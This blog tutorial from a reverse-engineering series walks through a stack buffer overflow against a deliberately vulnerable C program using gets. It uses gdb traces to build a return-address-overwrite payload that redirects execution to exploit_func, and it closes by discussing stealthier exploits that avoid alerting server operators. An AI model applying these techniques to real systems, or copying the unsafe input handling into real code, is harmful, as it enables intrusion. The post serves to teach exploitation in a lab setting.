Hey fellow pwners!

In the previous article, we discussed the infamous Buffer Overflow Vulnerability, a few reasons why it comes into existence in a software. From an attack point of view, we were able to segfault the program. This is amazing, but can we do better? Can we design the unintentional behavior we want and make the software behave that way using the BOF? Can we write better exploits to achieve that? In this article, we will look to get answers to few of these questions.

It’s post number 8. So, create a directory post_8 inside rev_eng_series directory and get started!

Introduction

  1. In the previous article, we noticed that we can get full control of all variables present after the buffer, the Old Base Pointer and Return Address .

  2. We took an example to see how the program segfaulting because the Old Base Pointer had been changed to some other value. We had extended this thought to change the Return Address to an address we want. Can we really do this? Yes. We can. This type of attacks are known as Control Flow Hijacking .

Let us take a small example to understand what Control Flow Hijacking is.

Consider a program with 2 functions - main and func. The func is a vulnerable function because it uses strcpy.

The Normal Control Flow would be

a. main calls func.
b. func’s body gets executed normally.
c. The Return Address of func is main. So, Control is returned back to main.

Suppose because of the BOF, I overwrite the Return Address with MyAddress . Now, the control flow would be this:

a. main calls func .
b. func body gets executed normally.
c. There is no more the Original Return Address which would give the control back to main. Instead of that, MyAddress is present. So, Control is passed to code at MyAddress .

Consider an Aeroplane travelling from A to B is hijacked. So, unfortunately it lands in an unintended place C.

This is very similar. Control was about to be transfered back from func to main in normal cases, but due to the Return Address overwrite, the Control is now transfered to code at some unintended address MyAddress .

I hope you are getting the analogy.

Here, the Normal Control Flow is hijacked and it takes a totally different path than the actual-intended path. This is known as Control Flow Hijacking.

Let us take an example and understand what Control Flow Hijacking in detail.

Program1

Consider the following program:

~/rev_eng_series/post_8$ cat code1.c
#include<stdio.h>
#include<string.h>

void exploit_func() {
        printf("In exploit_func\n");
}


void vuln_func() {
        char buffer[10];        
        gets(buffer);
        printf("%s\n", buffer);
}

int main() {

        printf("Before vuln_func: In main function\n");
        vuln_func();
        printf("After vuln_func: In main function\n");

        return 0;
}

  1. The main function calls a function vuln_func. There are 2 printf statements one before vuln_func and one after vuln_func. The first one ensures that we are in main function before we execute vuln_func. The second one will get printed if control is transfered back to main function from vuln_func. If not, the printf statement after vuln_func won’t be executed.

  2. The vuln_func is a function which initialized a buffer of size 10 bytes. It uses a function called gets (or getstring) to get the user input. Then the printf statement will print whatever the user entered.

  3. There is one more function named exploit_func. The objective is simple: We have to do something(write an exploit such that) exploit_func is executed. It is proven if the printf statement inside exploit_func is executed.

The whole objective of this example is to demonstrate Control Flow Hijacking. We will see if we can somehow jump to exploit_func .

Let’s get started!

Compile code1.c in the following manner:

~/rev_eng_series/post_8$ gcc code1.c -o code1 -fno-stack-protector
code1.c: In function ‘vuln_func’:
code1.c:13:2: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
gets(buffer);
^
/tmp/ccVVL4st.o: In function `vuln_func':
code1.c:(.text+0x26): warning: the `gets' function is dangerous and should not be used.
adwi@adwi:~/rev_eng_series/post_8$

  • We have removed the security feature we spoke about in the previous post. It is easy to experiment without that.

  • Look at the compiler warning carefully. It says:

    warning: the `gets' function is dangerous and should not be used.

  • So, the compiler has already given the warning it should give. It says gets is dangerous and should not be used. We will checkout why it is dangerous and how severe it can get!

  • It was a warning, so we have an executable code1 with us.

Analysis - Round 1

In this round of analysis, we will just give inputs of different lengths and see at what shortest length it segfaults.

  1. Input Length = 10 bytes.

    ~/rev_eng_series/post_8$ ./code1
Before vuln_func: In main function
aaaaaaaaaa
aaaaaaaaaa
After vuln_func: In main function
adwi@adwi:~/rev_eng_series/post_8$

  2. Input Length = 16 bytes.

    ~/rev_eng_series/post_8$ ./code1
Before vuln_func: In main function
aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa
After vuln_func: In main function
adwi@adwi:~/rev_eng_series/post_8$

  3. Typing the input everytime is a boring job. Here the input length is in terms of 10s of bytes so we can type it in. If the buffer is 100 bytes, then that is a problem. For this, we will use python to enter the input.

    ~/rev_eng_series/post_8$ python -c "print 'a' * 17" | ./code1
Before vuln_func: In main function
aaaaaaaaaaaaaaaaa
After vuln_func: In main function
adwi@adwi:~/rev_eng_series/post_8$
    • The -c flag stands for commandline . The command print ‘a’ * 17 is executed. This will give aaaaaaaaaaaaaaaaa as output. This output is given as an input for code1 which is what we want. The ** ** is known as a pipe. You are piping python’s output into code1.

    • From this point, we will use this python -c option to get the input.

    • Ok. 17 bytes - nothing happened.

  4. Input length = 23 bytes

    ~/rev_eng_series/post_8$ python -c "print 'a' * 23" | ./code1
Before vuln_func: In main function
aaaaaaaaaaaaaaaaaaaaaaa
After vuln_func: In main function

  5. Input Length = 24 bytes

    adwi@adwi:~/rev_eng_series/post_8$ python -c "print 'a' * 24" | ./code1
Before vuln_func: In main function
aaaaaaaaaaaaaaaaaaaaaaaa
Illegal instruction (core dumped)
adwi@adwi:~/rev_eng_series/post_8$

So, for 24 bytes of input, the program crashed.

Note that this is not a very easy method to find the Input Length. It’s trial and error method with a bit of hint that Input Length > 10 bytes.

We will look into finding the Input Length in one shot now - and at the same time find why it is segfaulting.

Analysis - Round 2

Let us fire up our debugger and run code1.

  1. Let us look at the disassembly of main function:

    ~/rev_eng_series/post_8$ gdb -q code1
Reading symbols from code1...(no debugging symbols found)...done.
gdb-peda$ disass main
Dump of assembler code for function main:
0x000000000040059f <+0>:     push   rbp
0x00000000004005a0 <+1>:     mov    rbp,rsp
0x00000000004005a3 <+4>:     mov    edi,0x400668
0x00000000004005a8 <+9>:     call   0x400430 <puts@plt>
0x00000000004005ad <+14>:    mov    eax,0x0
0x00000000004005b2 <+19>:    call   0x400577 <vuln_func>
0x00000000004005b7 <+24>:    mov    edi,0x400690
0x00000000004005bc <+29>:    call   0x400430 <puts@plt>
0x00000000004005c1 <+34>:    mov    eax,0x0
0x00000000004005c6 <+39>:    pop    rbp
0x00000000004005c7 <+40>:    ret
End of assembler dump.
gdb-peda$
    • Everything is as expected. 2 puts functions one before and one after vuln_func .

  2. We will look at vuln_func :

    gdb-peda$ disass vuln_func
Dump of assembler code for function vuln_func:
0x0000000000400577 <+0>:     push   rbp
0x0000000000400578 <+1>:     mov    rbp,rsp
0x000000000040057b <+4>:     sub    rsp,0x10
0x000000000040057f <+8>:     lea    rax,[rbp-0x10]
0x0000000000400583 <+12>:    mov    rdi,rax
0x0000000000400586 <+15>:    mov    eax,0x0
0x000000000040058b <+20>:    call   0x400450 <gets@plt>
0x0000000000400590 <+25>:    lea    rax,[rbp-0x10]
0x0000000000400594 <+29>:    mov    rdi,rax
0x0000000000400597 <+32>:    call   0x400430 <puts@plt>
0x000000000040059c <+37>:    nop
0x000000000040059d <+38>:    leave
0x000000000040059e <+39>:    ret
End of assembler dump.
gdb-peda$
    • A StackFrame of 16 bytes is given for vuln_func .
    • Then gets is called.
    • Then puts is called.

  3. Let us run code1 directly with an input of length = 24 bytes. Let at break at vuln_func because that is the function under scrutiny.

    gdb-peda$ b vuln_func
Breakpoint 1 at 0x40057b
gdb-peda$ python print ('a' * 24)
aaaaaaaaaaaaaaaaaaaaaaaa
gdb-peda$ run

  • Copy those 24 bytes. Later you will have to input it when the program asks for it.

    [----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b042c0 (<__write_nocancel+7>:      cmp    rax,0xfffffffffffff001)RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x602010 ("Before vuln_func: In main function\n")
RDI: 0x1
RBP: 0x7fffffffd8c0 --> 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffd8c0 --> 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>: push   r15)
RIP: 0x40057b (<vuln_func+4>:   sub    rsp,0x10)
R8 : 0x602000 --> 0x0
R9 : 0xd ('\r')
R10: 0x7ffff7dd1b78 --> 0x602410 --> 0x0
R11: 0x246
R12: 0x400470 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffd9b0 --> 0x1
R14: 0x0
R15: 0x0EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400576 <exploit_func+16>:  ret
0x400577 <vuln_func>:        push   rbp
0x400578 <vuln_func+1>:      mov    rbp,rsp
=> 0x40057b <vuln_func+4>:      sub    rsp,0x10
0x40057f <vuln_func+8>:      lea    rax,[rbp-0x10]
0x400583 <vuln_func+12>:     mov    rdi,rax
0x400586 <vuln_func+15>:     mov    eax,0x0
0x40058b <vuln_func+20>:     call   0x400450 <gets@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8c0 --> 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:        push   r15)
0008| 0x7fffffffd8c8 --> 0x4005b7 (<main+24>:   mov    edi,0x400690)
0016| 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:   push   r15)
0024| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
0032| 0x7fffffffd8e0 --> 0x0
0040| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/post_8/code1")
0048| 0x7fffffffd8f0 --> 0x100000000
0056| 0x7fffffffd8f8 --> 0x40059f (<main>:      push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
    
Breakpoint 1, 0x000000000040057b in vuln_func ()
gdb-peda$

  • Let us break at gets also. Because we have to see what the stack looks like before and after gets function.

    gdb-peda$ b *0x40058b
Breakpoint 2 at 0x40058b
gdb-peda$ continue

  • Let us look at the stack: (Just before gets is executed)

    [------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8b0 --> 0x0
0008| 0x7fffffffd8b8 --> 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:        push   r15)
0016| 0x7fffffffd8c0 --> 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:        push   r15)
0024| 0x7fffffffd8c8 --> 0x4005b7 (<main+24>:   mov    edi,0x400690)
0032| 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:   push   r15)
0040| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
0048| 0x7fffffffd8e0 --> 0x0
0056| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/post_8/code1")
[------------------------------------------------------------------------------]

  • Using the /x command:

    gdb-peda$ x/50xb $rsp
0x7fffffffd8b0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd8b8: 0xd0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd8c0: 0xd0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd8c8: 0xb7    0x05    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffd8d0: 0xd0    0x05    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffd8d8: 0x30    0xd8    0xa2    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffd8e0: 0x00    0x00

  • 0x7fffffffd8c8 points to the Return Address = 0x00000000004005b7 .

  • 0x7fffffffd8c0 points to Old Rbp. Old Rbp = 0x7fffffffd8d0 .

  • The starting address of buffer = Address present in rdi register. Buffer’s Address = 0x7fffffffd8b0 . This is also the top of the stack.

  • The stack is like this:

    <buffer: 16bytes><Old Rbp: 8-bytes><Return Address: 8-bytes>

  • Let us go ahead and execute gets with 24 bytes of input.

    gdb-peda$ python print ('a' * 24)
aaaaaaaaaaaaaaaaaaaaaaaa
gdb-peda$ ni
aaaaaaaaaaaaaaaaaaaaaaaa

  • Now, gets is already executed. It took the input. Let us look at the stack again.

    [------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8b0 ('a' <repeats 24 times>)
0008| 0x7fffffffd8b8 ('a' <repeats 16 times>)
0016| 0x7fffffffd8c0 ("aaaaaaaa")
0024| 0x7fffffffd8c8 --> 0x400500 (<register_tm_clones+32>:     (bad))
0032| 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:   push   r15)
0040| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
0048| 0x7fffffffd8e0 --> 0x0
0056| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/post_8/code1")
[------------------------------------------------------------------------------]

  • Using the x/ command:

    gdb-peda$ x/50xb $rsp
0x7fffffffd8b0: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fffffffd8b8: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fffffffd8c0: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fffffffd8c8: 0x00    0x05    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffd8d0: 0xd0    0x05    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffd8d8: 0x30    0xd8    0xa2    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffd8e0: 0x00    0x00
gdb-peda$

  • There are a lot of points to take note:

    • The Old rbp at memory location is completely overwritten by ‘a’s.
    • The Original Return Address was 0x4005b7. Now, it has become 0x400500. Note that the last byte is overwritten by the NULL character of the input string.

  • The strange thing is, 0x400500 is apparently not an invalid memory location. In the stack layout provided by gdb, it says < register_tm_clones >. The point to note is it is some valid memory location in the process’s memory layout.

  • Now, the conclusion is that the control should not go back to main, but to some code at address = 0x400500 . Let us continue and see what happens.

    gdb-peda$ continue

  • This is the state of the program:

    [----------------------------------registers-----------------------------------]
RAX: 0x19
RBX: 0x0
RCX: 0x7ffff7b042c0 (<__write_nocancel+7>:      cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x602010 ('a' <repeats 24 times>, "\n function\n")
RDI: 0x1
RBP: 0x6161616161616161 ('aaaaaaaa')
RSP: 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:    push   r15)
RIP: 0x400500 (<register_tm_clones+32>: (bad))
R8 : 0x6161616161616161 ('aaaaaaaa')
R9 : 0x0
R10: 0x57 ('W')
R11: 0x246
R12: 0x400470 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffd9b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]
=> 0x400500 <register_tm_clones+32>:    (bad)
0x400501 <register_tm_clones+33>:    je     0x400518 <register_tm_clones+56>
0x400503 <register_tm_clones+35>:    mov    eax,0x0
0x400508 <register_tm_clones+40>:    test   rax,rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:   push   r15)
0008| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
0016| 0x7fffffffd8e0 --> 0x0
0024| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/post_8/code1")
0032| 0x7fffffffd8f0 --> 0x100000000
0040| 0x7fffffffd8f8 --> 0x40059f (<main>:      push   rbp)
0048| 0x7fffffffd900 --> 0x0
0056| 0x7fffffffd908 --> 0xb4e17fa5e960ad78
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGILL
0x0000000000400500 in register_tm_clones ()
gdb-peda$

  • Observe keenly. The program has crashed. The reason is SIGILL . This is a signal given to the process by the operating system when the program tries to execute an Illegal Instruction. Remember that we had got the same message (Illegal Instruction(core dumped)) during first round of analysis.

  • Also note that the program did not go back to main function.

  • Let us analyse what has happened.

    • There was a new Return Address instead of the actual proper Return Address.
    • The program’s control was transfered to the code at the New Return Address without any problems.
    • So, Control was not transfered back to main.

  • Note that rbp is not being used here. So, the program did not segfault because of that. Most of the times, the program first segfaults because the rbp is changed.

Analysis - Round 3

To confirm this, we will run the program one more time in gdb using the following input:

    python -c 'a' * 16 + 'b' * 8 + 'c' * 8
  • The first 16 bytes of ‘a’ should fill the buffer. The next 8 bytes of ‘b’ should cover the Old Rbp.

  • IMPORTANT: The next 8 bytes of ‘c’ should cover the Return Address .

  • In this round, we will start observing from just before gets is executed.

  • Just before gets is executed, this is the state:

    [----------------------------------registers-----------------------------------]RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b042c0 (<__write_nocancel+7>:      cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x602010 ("Before vuln_func: In main function\n")
RDI: 0x7fffffffd8b0 --> 0x0
RBP: 0x7fffffffd8c0 --> 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffd8b0 --> 0x0
RIP: 0x40058b (<vuln_func+20>:  call   0x400450 <gets@plt>)
R8 : 0x602000 --> 0x0
R9 : 0xd ('\r')
R10: 0x7ffff7dd1b78 --> 0x602410 --> 0x0
R11: 0x246
R12: 0x400470 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffd9b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40057f <vuln_func+8>:      lea    rax,[rbp-0x10]
0x400583 <vuln_func+12>:     mov    rdi,rax
0x400586 <vuln_func+15>:     mov    eax,0x0=> 0x40058b <vuln_func+20>:     call   0x400450 <gets@plt>
0x400590 <vuln_func+25>:     lea    rax,[rbp-0x10]
0x400594 <vuln_func+29>:     mov    rdi,rax
0x400597 <vuln_func+32>:     call   0x400430 <puts@plt>
0x40059c <vuln_func+37>:     nop
Guessed arguments:
arg[0]: 0x7fffffffd8b0 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8b0 --> 0x0
0008| 0x7fffffffd8b8 --> 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:        push   r15)
0016| 0x7fffffffd8c0 --> 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:        push   r15)
0024| 0x7fffffffd8c8 --> 0x4005b7 (<main+24>:   mov    edi,0x400690)
0032| 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:   push   r15)
0040| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
0048| 0x7fffffffd8e0 --> 0x0
0056| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/post_8/code1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
    
Breakpoint 2, 0x000000000040058b in vuln_func ()
gdb-peda$

  • Take a look at the stack:

    • It is pretty clear. The first 8 bytes is pointing to 0.

    • 0x7fffffffd8c0 is pointing to Old Rbp value. NOTE: Even 0x7fffffffd8b8 has the Old Rbp value but it means nothing. Keep in mind that the current rbp register always points to Old Rbp. So, the rbp register has the value 0x7fffffffd8c0.

    • 0x7fffffffd8c8 is pointing to Return Address = 0x4005b7 .

  • Now, let us execute the gets function with our input and see what happens:

    • This is input we have to give:

      gdb-peda$ python print ('a' * 16 + 'b' * 8 + 'c' * 8)
aaaaaaaaaaaaaaaabbbbbbbbcccccccc
gdb-peda$ ni
aaaaaaaaaaaaaaaabbbbbbbbcccccccc

  • Now, gets is successfully executed. Let us see what the stack looks like:

    [------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8b0 ('a' <repeats 16 times>, "bbbbbbbbcccccccc")
0008| 0x7fffffffd8b8 ("aaaaaaaabbbbbbbbcccccccc")
0016| 0x7fffffffd8c0 ("bbbbbbbbcccccccc")
0024| 0x7fffffffd8c8 ("cccccccc")
0032| 0x7fffffffd8d0 --> 0x400500 (<register_tm_clones+32>:     (bad))
0040| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
0048| 0x7fffffffd8e0 --> 0x0
0056| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/post_8/code1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400590 in vuln_func ()
gdb-peda$

  • Using x/ command:

    gdb-peda$ x/32xb $rsp
0x7fffffffd8b0: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fffffffd8b8: 0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
0x7fffffffd8c0: 0x62    0x62    0x62    0x62    0x62    0x62    0x62    0x62
0x7fffffffd8c8: 0x63    0x63    0x63    0x63    0x63    0x63    0x63    0x63
gdb-peda$

  • 0x7fffffffd8c8 is pointing to cccccccc instead of 0x4005b7. - Success1

  • 0x7fffffffd8c0 is pointing to bbbbbbbb instead of Old Rbp value - Success2

  • Let us continue and see what happens:

    [-------------------------------------code-------------------------------------]
0x400597 <vuln_func+32>:     call   0x400430 <puts@plt>
0x40059c <vuln_func+37>:     nop
0x40059d <vuln_func+38>:     leave
=> 0x40059e <vuln_func+39>:     ret
0x40059f <main>:     push   rbp
0x4005a0 <main+1>:   mov    rbp,rsp
0x4005a3 <main+4>:   mov    edi,0x400668
0x4005a8 <main+9>:   call   0x400430 <puts@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8c8 ("cccccccc")
0008| 0x7fffffffd8d0 --> 0x400500 (<register_tm_clones+32>:     (bad))
0016| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
0024| 0x7fffffffd8e0 --> 0x0
0032| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/p
ost_8/code1")
0040| 0x7fffffffd8f0 --> 0x100000000
0048| 0x7fffffffd8f8 --> 0x40059f (<main>:      push   rbp)
0056| 0x7fffffffd900 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040059e in vuln_func ()
gdb-peda$

    • The instruction which was executed was ret instruction. Look at the top of the stack. It should ideally have the Original Return Address(0x4005b7) but it has cccccccc which is what we wanted.

    • The program is trying to jump to the address 0x6363636363636363 which is an Invalid Address . When a program is trying to access an Invalid Address, it Segfaults. To see what Addresses are valid and what Addresses are invalid, look into /proc/PID/maps file.

Conclusions from analysis:

  1. We were successfully able to overwrite the Actual Return Address by the Address we want(cccccccc).

  2. So, this proves that we hijacked the control of the program - Congratulations!!.

  3. There are a lot of things to learn from the 3 rounds of analysis we did:

a. In the first round, giving an input was a problem. We used python -c to get the job done. Remember this technique because you will be using a lot of this.

b. In the second round, we analysed the stack carefully and were able to come up with an input to hijack the control of the program.

c. We executed that Input to hijack the program. In any exploit you write, it is always best to look into the program using the debugger, make all the calculations properly and then design the input.

  1. Most importantly, let us stop calling the stuff we enter into the program as Input. It is no longer normal input. It is Payload / Exploit Payload. From now on, we design Exploit Payloads and not mere Inputs :P

End Goal?

Was this the end goal? Nope. Our end goal was nicer, more evil :P . We want to execute exploit_func .

In the previous round of Analysis, we were able to control the flow of the program. We wanted the control to jump to 0x6363636363636363 and it jumped. So, we know that we have full control over the flow of the program. It can jump to whatever Address we want it to jump.

Where do we want it to jump? exploit_func !!!

So, instead of giving some meaningless address like 0x6363636363636363, we will input the address of exploit_func .

Exploiting it!!

How do we find the address of exploit_func ? There are several different ways. You can use readelf, objdump, etc., As my gdb commandline is still running, I will look the disassembly of exploit_func and get it’s Address.

    gdb-peda$ disass exploit_func
    Dump of assembler code for function exploit_func:
    0x0000000000400566 <+0>:     push   rbp
    0x0000000000400567 <+1>:     mov    rbp,rsp
    0x000000000040056a <+4>:     mov    edi,0x400658
    0x000000000040056f <+9>:     call   0x400430 <puts@plt>
    0x0000000000400574 <+14>:    nop
    0x0000000000400575 <+15>:    pop    rbp
    0x0000000000400576 <+16>:    ret
    End of assembler dump.
    gdb-peda$

  • The Address of exploit_func = 0x0000000000400566 .

  • Now, we will contruct the Exploit Payload which when input, exploit_func is executed. This is important. Please give complete attention while reading this part.

a. The stack of vuln_func looks like this:

    <buffer: 16-bytes><Old Rbp: 8-bytes><Return Address: 8-bytes>

b. So, the payload should look something like this:

    'a' * 16 + 'b' * 8 + Address_of_exploit_func

  • Note that instead of ‘b’, you can use ‘a’ also. These ‘a’, ‘b’ are just characters which we are using and will have no effect in this exploit. The only thing which is important is Return Address.

  • The reason it’s better to give different letters for different parts of the stack is that it will be easy to debug if the exploit fails for some reason.

c. Construction of Exploit Payload:

  • These are the things you have to do:

    • Get the Target Address. In this example, our Target Address is Address of exploit_func which is 0x0000000000400566.

    • Do all the calculations properly - Done!

    • Writing the payload:

      python -c "print 'a' * 16 + 'b' * 8 + '\x66\x05\x40\x00\x00\x00\x00\x00'"

  • There are a few things to make note of:

    • Our Target Address is 0x00-0x00-0x00-0x00-0x00-0x40-0x05-0x66. But in the payload, the bytes are in the reverse order. Why do you think it is? Yes. It is because of the Little-Endianess of Intel systems.

    • In case we give the payload like this: ‘\x00\x00\x00\x00\x00\x40\x05\x66’, then in the memory, it would be stored in the Big-Endian way which the Intel System won’t understand.So, what we do is, we input it in the reverse order(Little-endian Order) so that the address is stored in the correct order in memory.

    • \xPQ is a way to represent an 8-bit number(unsigned char). Refering to this ascii table:

      ~/rev_eng_series/post_8$ ascii -x
0 NUL    10 DLE    20      30 0    40 @    50 P    60 `    70 p
1 SOH    11 DC1    21 !    31 1    41 A    51 Q    61 a    71 q
2 STX    12 DC2    22 "    32 2    42 B    52 R    62 b    72 r
3 ETX    13 DC3    23 #    33 3    43 C    53 S    63 c    73 s
4 EOT    14 DC4    24 $    34 4    44 D    54 T    64 d    74 t
5 ENQ    15 NAK    25 %    35 5    45 E    55 U    65 e    75 u
6 ACK    16 SYN    26 &    36 6    46 F    56 V    66 f    76 v
7 BEL    17 ETB    27 '    37 7    47 G    57 W    67 g    77 w
8 BS     18 CAN    28 (    38 8    48 H    58 X    68 h    78 x
9 HT     19 EM     29 )    39 9    49 I    59 Y    69 i    79 y
A LF     1A SUB    2A *    3A :    4A J    5A Z    6A j    7A z
B VT     1B ESC    2B +    3B ;    4B K    5B [    6B k    7B {
C FF     1C FS     2C ,    3C <    4C L    5C \    6C l    7C |
D CR     1D GS     2D -    3D =    4D M    5D ]    6D m    7D }
E SO     1E RS     2E .    3E >    4E N    5E ^    6E n    7E ~
F SI     1F US     2F /    3F ?    4F O    5F _    6F o    7F DEL
~/rev_eng_series/post_8$

    • 1 byte is 8-bits. So, 1-byte can represent numbers from 0 to 255. In this 0-255 range,

      • SubRange1: 0x00 - 0x1F : Can be generated with the help fo keyboard.
      • SubRange2: 0x20 - 0x7E : Can be generated easily with the keyboard.
      • SubRange3: 0x7F - 0xFF : No way to generate it.

    • So, we will have to use the \xPQ notation for SubRange1 and SubRange3. Because the payload should be neat and will make more sense when hexadecimal numbers are used, we will use \xPQ notation for SubRange2 also.

    • Take this example: In the Target Address, we have a byte with value 0x40 whose ascii character is @. For us, 0x40 makes more sense than @ here because we really don’t care about what ascii character that number represents. Our focus is only on the number 0x40.

  • Coming back to Exploit Payload, this is what we have:

    python -c "print 'a' * 16 + 'b' * 8 + '\x66\x05\x40\x00\x00\x00\x00\x00'"

  • Let us compare it with the stack layout of vuln_func :

    <buffer: 16-bytes><Old Rbp: 8-bytes><Return Address: 8-bytes>

  • Comparing the payload and the stack layout, our Exploit should work perfectly.

  • The time has come. Let us execute code1 with this Exploit Payload:

    ~/rev_eng_series/post_8$ python -c "print 'a' * 16 + 'b' * 8 + '\x66\x05\x40\x00\x00\x00\x00\x00'" | ./code1
Before vuln_func: In main function
aaaaaaaaaaaaaaaabbbbbbbbf@
In exploit_func
Illegal instruction (core dumped)
~/rev_eng_series/post_8$

  • Woohooo!! Successs! Look at this!

  • The printf statement of exploit_func is executed which means exploit_func is successfully executed.

  • Congratulations on your first well-crafted exploit. Go through the this section again and make sure you understand how we crafted the exploit.

Can we do better?

  • This is always the question we ask whatever we do. Can we do better. Let us see what are the things we can improve on:

    • Good part is exploit_func got executed. But then, the program segfaulted. Suppose this was a web-server. It will be monitored continuously. So, as soon as the web-server segfaults, people will become alert that some shit has happened and they will start investigating.

    • So, even though the exploit_func was executed, they might see why it crashed and probably patch it up. As an attacker, you would never want that to happen :P . So, can we do something to make sure the program doesn’t segfault?

  • We just discussed about how to make an exploit stealthier . It means, to craft the exploit payload such that no one notices it and everything happens peacefully.

Analysis: Round 4

  1. Let us put the Exploit Payload into a file exploit.txt and then execute the program using gdb to see if we can do something.

    python -c "print 'a' * 16 + 'b' * 8 + '\x66\x05\x40\x00\x00\x00\x00\x00'" > exploit.txt

  2. Running code1 with gdb:

  • The goal is very clear. We will observe the execution of exploit_func. We will break at gets of vuln_func and we will break at exploit_func .

    ~/rev_eng_series/post_8$ gdb -q code1
Reading symbols from code1...(no debugging symbols found)...done.
gdb-peda$ disass vuln_func
Dump of assembler code for function vuln_func:
0x0000000000400577 <+0>:     push   rbp
0x0000000000400578 <+1>:     mov    rbp,rsp
0x000000000040057b <+4>:     sub    rsp,0x10
0x000000000040057f <+8>:     lea    rax,[rbp-0x10]
0x0000000000400583 <+12>:    mov    rdi,rax
0x0000000000400586 <+15>:    mov    eax,0x0
0x000000000040058b <+20>:    call   0x400450 <gets@plt>
0x0000000000400590 <+25>:    lea    rax,[rbp-0x10]
0x0000000000400594 <+29>:    mov    rdi,rax
0x0000000000400597 <+32>:    call   0x400430 <puts@plt>
0x000000000040059c <+37>:    nop
0x000000000040059d <+38>:    leave
0x000000000040059e <+39>:    ret
End of assembler dump.
gdb-peda$ b *0x000000000040058b
Breakpoint 1 at 0x40058b
gdb-peda$ b exploit_func
Breakpoint 2 at 0x40056a
gdb-peda$

  • Let us run!. Note that we have to run it with the exploit payload in exploit.txt. So, run it in the following manner.

